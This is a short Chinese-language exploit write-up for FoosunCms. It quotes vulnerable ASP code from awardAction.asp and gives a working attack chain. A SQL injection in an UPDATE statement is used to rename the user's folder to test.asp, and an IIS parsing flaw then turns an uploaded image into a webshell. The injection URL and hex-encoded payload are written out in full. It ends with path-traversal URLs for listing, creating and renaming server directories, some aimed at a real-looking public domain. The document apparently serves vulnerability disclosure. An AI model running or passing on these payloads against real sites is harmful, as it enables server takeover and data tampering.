FoosunCms getshell

在文件\User\award\awardAction.asp中：

code 區域

Integral=NoSqlHack(request.QueryString("Integral"))
if action="join" then

	User_Conn.execute("Insert into FS_ME_User_Prize (prizeid,usernumber,awardID) values("&CintStr(prizeID)&",'"&session("FS_UserNumber")&"',"&CintStr(awardID)&")")

	'得到當前參加人數--------------------------------

	User_Conn.execute("Update FS_ME_Users set Integral=(Integral-"&Integral&") where usernumber='"&session("FS_UserNumber")&"'")

請直接無視NoSqlHack,因爲sql注入是發生在update語句中，因此咱們能夠修改表S_ME_Users的任意記錄的任意字段信息

webshell還能夠用來代替access

咱們文件管理中上傳個圖片文件：

http://192.168.1.101/UserFiles/27015564I69/2013_09_27_01_10_0390446.jpg

UserNumber就是等於27015564I69



經過以上的sql注入漏洞，直接update爲test.asp

http://192.168.1.101/User/award/awardAction.asp?action=join&awardID=1&prizeID=1&Integral=1),UserNumber=0x74006500730074002E00610073007000,sex=(1

退出再從新登陸

生成test.asp目錄，後續上傳的文件都會保存在該文件中

利用iis解析漏洞獲取webshell

漏洞證實：

同時文件管理鏈接

先註冊用戶名登陸我後執行下邊的命令就能夠了
1 遊覽目錄文件
http://www.2cto.com/User/CommPages/FolderImageList.asp?CurrPath=/admin/
2 建立一個目錄
http://www.2cto.com/User/CommPages/FolderImageList.asp?CurrPath=/123456/
3 修改一個目錄名稱
http://www.2cto.com/User/FileManage.asp?Type=FolderReName&OldFileName=../../123456&NewFileName=654321